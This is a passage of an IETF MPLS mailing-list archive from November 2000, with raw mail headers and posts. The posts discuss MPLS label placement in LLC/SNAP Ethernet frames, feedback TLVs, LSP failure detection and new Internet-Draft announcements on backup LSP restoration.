mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjorn02084 for ; Fri, 10 Nov 2000 09:49:16 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjorn23721 for ; Fri, 10 Nov 2000 09:48:08 GMT Received: from prithvi.siliconsystems.co.in by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [164.164.85.131]) id QQjorn03970 for ; Fri, 10 Nov 2000 09:48:02 GMT Received: from mail.siliconsystems.co.in (mail.siliconsystems.co.in [172.19.32.5]) by prithvi.siliconsystems.co.in (8.9.1a+p1/8.9.1/d: thinkit.m4,v 1.5 2000/06/09 23:40:41 dmccart Exp $) with ESMTP id JAA19032; Fri, 10 Nov 2000 09:47:14 GMT Received: from ieee.org (sathya.siliconsystems.co.in [172.19.32.92]) by mail.siliconsystems.co.in (8.9.3/8.9.3) with ESMTP id PAA09531; Fri, 10 Nov 2000 15:30:24 +0530 (IST) Message-ID: <3A0BC5C0.E8D8E493@ieee.org> Date: Fri, 10 Nov 2000 15:24:08 +0530 From: Sandeep Relan Organization: INTEL (Software & Silicon Systems (I) Pvt Ltd X-Mailer: Mozilla 4.73 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: MPLS Discussion Group Subject: Request for Expert Advise... Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Dear Friends, I would highly appreciate if you could please help me out in resolving my doubt about Position of MPLS Label in an Ethernet Lan environment. (Especially in the case of 802.3 LLC / SNAP). With reference to the following doc.: draft-ietf-mpls-label-encaps-08.txt Section 5: (page18) states the following: ----------------------------------------- The label stack entries immediately precede the network layer header, and follow any data link layer headers, including, e.g., any 802.1Q headers that may exist. ........... ....... .......... ....... These ethertype values can be used with either the ethernet encapsulation or the 802.3 LLC/SNAP encapsulation to carry labeled packets. ------------------------------------------------------------------------------- The Doubt I have is: Q1.: Does it mean that mpls label " MUST " precede before the IP Network Packet ? Q2. : If Answer to Q1 is Yes, then in case of 802.3 LLC/SNAP, Does it mean that the mpls label "MUST" come after the SNAP type field, in the order as depicted below ? [ 12 bytes of MAC Address] --> [4 bytes of 802.1Q : optional] --> [2 bytes of Length / type field] --> [6 bytes of 802.2 LLC / SNAP] --> [2 bytes of MPLS ethernet Type] --> [ MPLS labels] --> [IP Packet] Appreciate your kind help becuase I want to be fully sure about it in 802.3 LLC/SNAP case. Thanks a lot Sandeep ------------------------------------------------------------------------------------ Sandeep Relan Senior Member Technical Staff, INTEL (software and silicon systems), E-mail : srelan@ieee.org Phone : +91-80-5550888 Fax : +91-80-5550718 5th Floor, Prestige Meridian -I, 29, M.G. Road, Bangalore -560001, INDIA ------------------------------------------------------------------------------------ From owner-mpls@UU.NET Fri Nov 10 05:19:44 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA12080 for ; Fri, 10 Nov 2000 05:19:44 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjorp12861; Fri, 10 Nov 2000 10:18:44 GMT Received: by mail-control.mail.uu.net id QQjorp15215 for mpls-outgoing; Fri, 10 Nov 2000 10:18:19 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjorp15204 for ; Fri, 10 Nov 2000 10:18:08 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjorp00347 for ; Fri, 10 Nov 2000 10:15:40 GMT Received: from csa.iisc.ernet.in by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: csa.iisc.ernet.in [144.16.67.8]) id QQjoro25288 for ; Fri, 10 Nov 2000 10:14:32 GMT Received: from ruby.csa.iisc.ernet.in (IDENT:root@ruby.csa.iisc.ernet.in [144.16.67.30]) by csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id PAA26767; Fri, 10 Nov 2000 15:42:10 +0530 Received: from localhost (ytr@localhost) by ruby.csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id PAA25223; Fri, 10 Nov 2000 15:44:24 +0530 X-Authentication-Warning: ruby.csa.iisc.ernet.in: ytr owned process doing -bs Date: Fri, 10 Nov 2000 15:44:24 +0530 (IST) From: Ramanjaneyulu Y T To: Sandeep Relan cc: MPLS Discussion Group Subject: Re: Request for Expert Advise... In-Reply-To: <3A0BC5C0.E8D8E493@ieee.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk Hi, answers are inline. If i am wring pls correct me. Regards YTR > Dear Friends, > > I would highly appreciate if you could please help me out in > resolving my doubt about Position of MPLS Label in an Ethernet Lan > environment. (Especially in the case of 802.3 LLC / SNAP). > > With reference to the following doc.: > > draft-ietf-mpls-label-encaps-08.txt > > > Section 5: (page18) states the following: > ----------------------------------------- > > The label stack entries immediately precede the network layer header, > and follow any data link layer headers, including, e.g., any 802.1Q > headers that may exist. > ........... ....... > .......... ....... > > These ethertype values can be used with either the ethernet > encapsulation or the 802.3 LLC/SNAP encapsulation to carry labeled > packets. > > ------------------------------------------------------------------------------- > > The Doubt I have is: > > Q1.: Does it mean that mpls label " MUST " precede before the > IP Network Packet ? > yeah |---------------------------------| | L2 | MPLS | IP | | ----------------------------------- The above is the header format . The above one is called SHIM type header. > Q2. : If Answer to Q1 is Yes, then in case of 802.3 LLC/SNAP, > Does it mean that the mpls label "MUST" come after the > SNAP type field, in the order as depicted below ? > > [ 12 bytes of MAC Address] --> [4 bytes of 802.1Q : > optional] --> > [2 bytes of Length / type field] --> [6 bytes of 802.2 LLC / > SNAP] --> > [2 bytes of MPLS ethernet Type] --> [ MPLS labels] --> [IP > Packet] > > yeah you are correct .pls refer above diagram . > Appreciate your kind help becuase I want to be fully sure about it in > 802.3 LLC/SNAP case. > > > Thanks a lot > Sandeep > > ------------------------------------------------------------------------------------ > > Sandeep Relan > Senior Member Technical Staff, > INTEL (software and silicon systems), > > E-mail : srelan@ieee.org > Phone : +91-80-5550888 > Fax : +91-80-5550718 > > 5th Floor, Prestige Meridian -I, > 29, M.G. Road, Bangalore -560001, > INDIA > ------------------------------------------------------------------------------------ > > > > > > > > > From owner-mpls@UU.NET Fri Nov 10 05:48:57 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA24076 for ; Fri, 10 Nov 2000 05:48:57 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjorr06652; Fri, 10 Nov 2000 10:47:11 GMT Received: by mail-control.mail.uu.net id QQjorr16762 for mpls-outgoing; Fri, 10 Nov 2000 10:46:39 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjorr16754 for ; Fri, 10 Nov 2000 10:46:26 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjorq20236 for ; Fri, 10 Nov 2000 10:44:09 GMT Received: from csa.iisc.ernet.in by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: csa.iisc.ernet.in [144.16.67.8]) id QQjorq01700 for ; Fri, 10 Nov 2000 10:43:24 GMT Received: from ruby.csa.iisc.ernet.in (IDENT:root@ruby.csa.iisc.ernet.in [144.16.67.30]) by csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id QAA27103; Fri, 10 Nov 2000 16:11:06 +0530 Received: from localhost (ytr@localhost) by ruby.csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id QAA25627; Fri, 10 Nov 2000 16:13:20 +0530 X-Authentication-Warning: ruby.csa.iisc.ernet.in: ytr owned process doing -bs Date: Fri, 10 Nov 2000 16:13:19 +0530 (IST) From: Ramanjaneyulu Y T To: Sandeep Relan cc: MPLS Discussion Group Subject: Re: Request for Expert Advise... ( corrction ) In-Reply-To: <3A0BC5C0.E8D8E493@ieee.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk Hi, small correction to my previous mail. I am not expert , but i have read source code of MPLS implementation in Linux and drafts . In my previous mail , i wrote the following is the header format. But this is not header format, I mean to say , this is the format of frame at L2 . |---------------------------------| | L2 | MPLS | IP | | ----------------------------------- Regards Ramanjaneyulu Y.T. " A real friend is one who walks in when the rest of the world walks out." ------------------------------------------------------------------------------ Y.T.RAMANJANEYULU | My other mail Ids: E-70,INDIAN INSTITUTE OF SCIENCE | ytr@123india.com BANGALORE - 560012 | kingytr@excite.com PH: 91 - 80 - 3092622 ( HOSTEL ) | 91 - 80 - 3092658 ( HFCL LAB ) | visit my home page:www2.csa.iisc.ernet.in/~ytr -------------------------------------------------------------------------------- From owner-mpls@UU.NET Fri Nov 10 07:12:32 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA24595 for ; Fri, 10 Nov 2000 07:12:32 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjorw18327; Fri, 10 Nov 2000 12:11:39 GMT Received: by mail-control.mail.uu.net id QQjorw14061 for mpls-outgoing; Fri, 10 Nov 2000 12:11:07 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjorw14014 for ; Fri, 10 Nov 2000 12:10:57 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjorw08787 for ; Fri, 10 Nov 2000 12:07:08 GMT Received: from smtprch2.nortel.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtprch2.nortelnetworks.com [192.135.215.15]) id QQjorw18184 for ; Fri, 10 Nov 2000 12:07:08 GMT Received: from zcard00n.ca.nortel.com by smtprch2.nortel.com; Fri, 10 Nov 2000 06:02:48 -0600 Received: from zcard00p.ca.nortel.com ([47.129.25.61]) by zcard00n.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id WT0VYM92; Fri, 10 Nov 2000 07:02:44 -0500 Received: from americasm01.nt.com (wcars0v1.ca.nortel.com [47.14.98.167]) by zcard00p.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id WSZC6YQZ; Fri, 10 Nov 2000 07:00:17 -0500 Message-ID: <3A0BE350.2550C052@americasm01.nt.com> Date: Fri, 10 Nov 2000 07:00:16 -0500 From: "Darek Skalecki" Organization: Nortel Networks X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: "Kullberg, Alan" CC: mpls@UU.NET Subject: Re: draft-ietf-mpls-te-feed-01 References: <87009604743AD411B1F600508BA0F9591ABEAB@xover.hjinc.com> Content-Type: multipart/alternative; boundary="------------F6E6BA6D4AFF1229E99D1988" X-Orig: Sender: owner-mpls@UU.NET Precedence: bulk --------------F6E6BA6D4AFF1229E99D1988 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit "Kullberg, Alan" wrote: > Hi Darek, > > Will the draft be updated to specify that U and F MUST be set to 1 > and that the feedback TLVs MUST be dropped when exiting an area > or an AS? > > Thanks, > > Alan Kullberg Yes the next version of the draft will make these points clear. Darek > > > -----Original Message----- > From: Darek Skalecki [mailto:dareks@nortelnetworks.com] > Sent: Thursday, November 09, 2000 8:55 AM > To: Bui, Khanh > Cc: mpls@UU.NET > Subject: Re: draft-ietf-mpls-te-feed-01 > > "Bui, Khanh" wrote: > Hi, > I have a couple of questions on this draft. > 1. How should the U and F bits be set in the feedback TLV? > Should they both be set to 1 so that the message containing > this TLV will go through any node that doesn't support > feedback TLV, and eventually will get to the source node? > The idea is that nodes which do not support Feedback TLVs simply pass these > TLVs transparently. This obviously can create discontinuity in the > information that is fed back, i.e. information about some links along the > path can be omitted. > > 2. How should the feedback TLV be handled if the message > containing this TLV travels from one autonomous system or > from one IGP area to another? Should the TLV be filtered > out at the edge node before entering the other AS or other > IGP area? > Yes, all the Feedback TLVs present on a message should be dropped when the > message exits AS or IGP area through an edge node. > > Thanks in advance, > Khanh > -- > Darek Skalecki > Nortel > (613) 765-2252 > -- Darek Skalecki Nortel (613) 765-2252 --------------F6E6BA6D4AFF1229E99D1988 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit "Kullberg, Alan" wrote:
Hi Darek,

Will the draft be updated to specify that U and F MUST be set to 1
and that the feedback TLVs MUST be dropped when exiting an area
or an AS?

Thanks,

Alan Kullberg

Yes the next version of the draft will make these points clear.

Darek

 

-----Original Message-----
From: Darek Skalecki [mailto:dareks@nortelnetworks.com]
Sent: Thursday, November 09, 2000 8:55 AM
To: Bui, Khanh
Cc: mpls@UU.NET
Subject: Re: draft-ietf-mpls-te-feed-01

"Bui, Khanh" wrote:
Hi,
I have a couple of questions on this draft.
1. How should the U and F bits be set in the feedback TLV?
   Should they both be set to 1 so that the message containing
   this TLV will go through any node that doesn't support
   feedback TLV, and eventually will get to the source node?
The idea is that nodes which do not support Feedback TLVs simply pass these
TLVs transparently. This obviously can create discontinuity in the
information that is fed back, i.e. information about some links along the
path can be omitted.

2. How should the feedback TLV be handled if the message
   containing this TLV travels from one autonomous system or
   from one IGP area to another?  Should the TLV be filtered
   out at the edge node before entering the other AS or other
   IGP area?
Yes, all the Feedback TLVs present on a message should be dropped when the
message exits AS or IGP area through an edge node.

Thanks in advance,
Khanh
--
Darek Skalecki
Nortel
(613) 765-2252
 

-- 
Darek Skalecki
Nortel 
(613) 765-2252
  --------------F6E6BA6D4AFF1229E99D1988-- From owner-mpls@UU.NET Fri Nov 10 11:06:51 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA19662 for ; Fri, 10 Nov 2000 11:06:51 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjosm20928; Fri, 10 Nov 2000 16:04:20 GMT Received: by mail-control.mail.uu.net id QQjosm11548 for mpls-outgoing; Fri, 10 Nov 2000 16:03:48 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjosm11518 for ; Fri, 10 Nov 2000 16:03:45 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjosm29115 for ; Fri, 10 Nov 2000 16:03:38 GMT Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjosm09412 for ; Fri, 10 Nov 2000 16:03:37 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id IAA05164 for ; Fri, 10 Nov 2000 08:03:40 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id LAA06797 for mpls@uu.net; Fri, 10 Nov 2000 11:03:35 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjosk03266 for ; Fri, 10 Nov 2000 15:44:12 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjosk20992 for ; Fri, 10 Nov 2000 15:43:29 GMT Received: from tiny-teddy.aarnet.edu.au by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: tiny-teddy.aarnet.edu.au [203.21.37.30]) id QQjosk20616 for ; Fri, 10 Nov 2000 15:43:26 GMT Received: from aarnet.edu.au (sa059.dialup.csiro.au [144.110.4.59]) by tiny-teddy.aarnet.edu.au (8.9.3/8.9.3) with ESMTP id CAA27022; Sat, 11 Nov 2000 02:13:07 +1030 Message-ID: <3A0C178D.9BF7F5CB@aarnet.edu.au> Date: Sat, 11 Nov 2000 02:13:09 +1030 From: Glen Turner Organization: Australian Academic and Research Network X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-3 i686) X-Accept-Language: en MIME-Version: 1.0 To: neil.2.harrison@bt.com CC: kireeti@juniper.net, david.charlap@marconi.com, mpls@UU.NET Subject: Re: LSP failure detection References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit neil.2.harrison@bt.com wrote: > Every time we have studied prot-sw in BT we come to the same > conclusions......minimise the layers at which prot-sw is deployed....ideally > just 2: L1 and fast, applications interfacing and (relatively) slow. And > as I said in a few prior mails on this topic.....don't go too fast at the > application interfacing level. Hi Neil, I hope you don't mean "application". We've tried modifying BIND, a DNS application, to rapidly detect a failing upstream server and to select an alternative. The statistics are complex, so the implementation is dense. We've had a professor design the statistics and the code is solid, but we've still had endless trouble in the 5 months that we have been using the code. 'Rapidly' above means 'more than 0.5s late', the idea being that a failed DNS server shouldn't add more than 1s to a DNS lookup. Pushing protection up to the Application Layer, if this is what you mean, is too high up the protocol stack. Regards, Glen From owner-mpls@UU.NET Fri Nov 10 11:06:59 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA19718 for ; Fri, 10 Nov 2000 11:06:59 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjosm20105; Fri, 10 Nov 2000 16:04:24 GMT Received: by mail-control.mail.uu.net id QQjosm11607 for mpls-outgoing; Fri, 10 Nov 2000 16:03:54 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjosm11526 for ; Fri, 10 Nov 2000 16:03:46 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjosm18352 for ; Fri, 10 Nov 2000 16:03:03 GMT Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjosm08678 for ; Fri, 10 Nov 2000 16:03:03 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id IAA04721 for ; Fri, 10 Nov 2000 08:03:06 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id LAA06791 for mpls@uu.net; Fri, 10 Nov 2000 11:03:01 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjosk02712 for ; Fri, 10 Nov 2000 15:35:57 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjosk03303 for ; Fri, 10 Nov 2000 15:35:57 GMT Received: from tiny-teddy.aarnet.edu.au by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: tiny-teddy.aarnet.edu.au [203.21.37.30]) id QQjosk08573 for ; Fri, 10 Nov 2000 15:35:54 GMT Received: from aarnet.edu.au (sa059.dialup.csiro.au [144.110.4.59]) by tiny-teddy.aarnet.edu.au (8.9.3/8.9.3) with ESMTP id CAA27009; Sat, 11 Nov 2000 02:05:22 +1030 Message-ID: <3A0C15BC.6F7D2081@aarnet.edu.au> Date: Sat, 11 Nov 2000 02:05:24 +1030 From: Glen Turner Organization: Australian Academic and Research Network X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-3 i686) X-Accept-Language: en MIME-Version: 1.0 To: neil.2.harrison@bt.com CC: kireeti@juniper.net, david.charlap@marconi.com, mpls@UU.NET Subject: Re: LSP failure detection References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit neil.2.harrison@bt.com wrote: > Can someone please tell me what these are? I think we should > start by listing them. Haptics (touch) applications for one. We've got a researcher in Western Australia who has a supercomputer driving an industrial robot strapped to some poor blighter's thumb. As supercomputers are a tad rare, there's an Internet link between the computer and the robot. The idea is that the blighter can be a medical student learning how to do surgery (and thus saving lots of furry animals). I was a bit dismissive of this as a wide-spread future application until I saw the success of the PlayStation Shock Controller :-) The researcher is being funded by the mining industry, as it could allow a mine to call in a remote expert to drive the cutting machine through a particularly tricky seam. Other applications spring to mind. The downside of this rosy picture is that the latency is quite tight. And if there is the loss of more than 50ms of data the industrial robot enters fail safe mode so that the blighter doesn't lose any more fingers. I'm not suggesting that this is the sort of application that will be on the Internet tomorrow, but if you're asking about the worst-case application for the current Internet, then remote haptics would be it as it tickles the tricky issues in latency, jitter, protection, availability, denial of service and authentication. Also, if you think that voice and video are the ultimate in multimedia applications, then consider that we have barely started to experiment with sending RADAR streams across the Internet. There's about 7 dimensions of data. -- Glen Turner Network Engineer (08) 8303 3936 Australian Academic and Research Network glen.turner@aarnet.edu.au http://www.aarnet.edu.au/ -- The revolution will not be televised, it will be digitised From owner-mpls@UU.NET Fri Nov 10 11:48:27 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA04341 for ; Fri, 10 Nov 2000 11:48:27 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjosp18659; Fri, 10 Nov 2000 16:45:22 GMT Received: by mail-control.mail.uu.net id QQjoso20295 for mpls-outgoing; Fri, 10 Nov 2000 16:44:45 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjoso20288 for ; Fri, 10 Nov 2000 16:44:30 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjoso02987 for ; Fri, 10 Nov 2000 16:44:06 GMT Received: from crufty.research.bell-labs.com by cmr2.ash.ops.us.uu.net with SMTP (peer crosschecked as: crufty.research.bell-labs.com [204.178.16.49]) id QQjoso06542 for ; Fri, 10 Nov 2000 16:44:06 GMT Received: from bronx.dnrc.bell-labs.com ([135.180.160.8]) by crufty; Fri Nov 10 11:43:10 EST 2000 Received: from dnrc.bell-labs.com (IDENT:kini@blhokinipc [135.180.130.180]) by bronx.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id LAA12208 for ; Fri, 10 Nov 2000 11:43:09 -0500 (EST) Message-ID: <3A0C25A2.276B1849@dnrc.bell-labs.com> Date: Fri, 10 Nov 2000 11:43:14 -0500 From: Sriganesh Kini Organization: Lucent Technologies X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.10-sim i686) X-Accept-Language: en MIME-Version: 1.0 To: mpls@UU.NET Subject: I-D ACTION:draft-kini-restoration-shared-backup-00.txt Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit A New Internet-Draft is available from the on-line Internet-Drafts directories. Title : Shared backup Label Switched Path restoration Author(s) : S. Kini, M. Kodialam, T. Lakshman, C. Villamizar Filename : draft-kini-restoration-shared-backup-00.txt Pages : 8 Date : 08-Nov-00 Traffic engineering using MPLS involves the setting up of label switched paths (LSP) possibly with explicit routing and with bandwidth guarantees (for label switched paths). The reliability of these LSPs can be increased by providing a backup LSP onto which traffic can be switched upon failure of an element in the path of the active LSP. Backup LSPs can be routed in a way that bandwidth can be shared between backup links of more than one active path while still guaranteeing recoverability for a set of failures. This sharing greatly increases the network efficiency, thereby increasing the number of LSPs that can be carried while maintaining guarantees. Algorithms which can route such recoverable LSPs while using only aggregate network usage information are being developed. This informational draft illustrates the concept of sharing links along backup paths and examines the requirements from link state information and the signaling functions. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-kini-restoration-shared-backup-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-kini-restoration-shared-backup-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-kini-restoration-shared-backup-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. Content-type: text/plain From owner-mpls@UU.NET Fri Nov 10 11:55:56 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA06989 for ; Fri, 10 Nov 2000 11:55:55 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjosp00831; Fri, 10 Nov 2000 16:53:32 GMT Received: by mail-control.mail.uu.net id QQjosp21183 for mpls-outgoing; Fri, 10 Nov 2000 16:53:07 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjosp21164 for ; Fri, 10 Nov 2000 16:53:00 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjosp21602 for ; Fri, 10 Nov 2000 16:52:02 GMT Received: from dirty.research.bell-labs.com by cmr1.ash.ops.us.uu.net with SMTP (peer crosschecked as: dirty.research.bell-labs.com [204.178.16.6]) id QQjosp01040 for ; Fri, 10 Nov 2000 16:52:01 GMT Received: from bronx.dnrc.bell-labs.com ([135.180.160.8]) by dirty; Fri Nov 10 11:51:23 EST 2000 Received: from dnrc.bell-labs.com (IDENT:kini@blhokinipc [135.180.130.180]) by bronx.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id LAA12909 for ; Fri, 10 Nov 2000 11:51:23 -0500 (EST) Message-ID: <3A0C2790.9E71674E@dnrc.bell-labs.com> Date: Fri, 10 Nov 2000 11:51:28 -0500 From: Sriganesh Kini Organization: Lucent Technologies X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.10-sim i686) X-Accept-Language: en MIME-Version: 1.0 To: mpls@UU.NET Subject: I-D ACTION:draft-kini-rsvp-lsp-restoration-00.txt Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit A New Internet-Draft is available from the on-line Internet-Drafts directories. Title : ReSerVation Protocol with Traffic Engineering extensions.Extension for Label Switched Path estoration Author(s) : S. Kini, M. Kodialam, T. Lakshman, C. Villamizar Filename : draft-kini-rsvp-lsp-restoration-00.txt Pages : 8 Date : 08-Nov-00 Traffic engineering using MPLS involves the setting up of label switched paths (LSP) possibly with explicit routing and with bandwidth guarantees. The reliability of these LSPs can be increased by providing a backup LSP onto which traffic can be switched upon failure of an element in the path of the active LSP. Backup LSPs can be routed in a way that bandwidth can be shared between backup links of more than one active path while still guaranteeing recoverability for a set of failures. This sharing greatly increases the network efficiency thereby increasing the number of LSPs that can be carried while maintaining guarantees. Algorithms which can route such recoverable LSPs while using only aggregate network usage information are being developed. Keeping these algorithms as the primary motivation this document describes a mechanism to signal shared backup LSPs using RSVP. A URL for 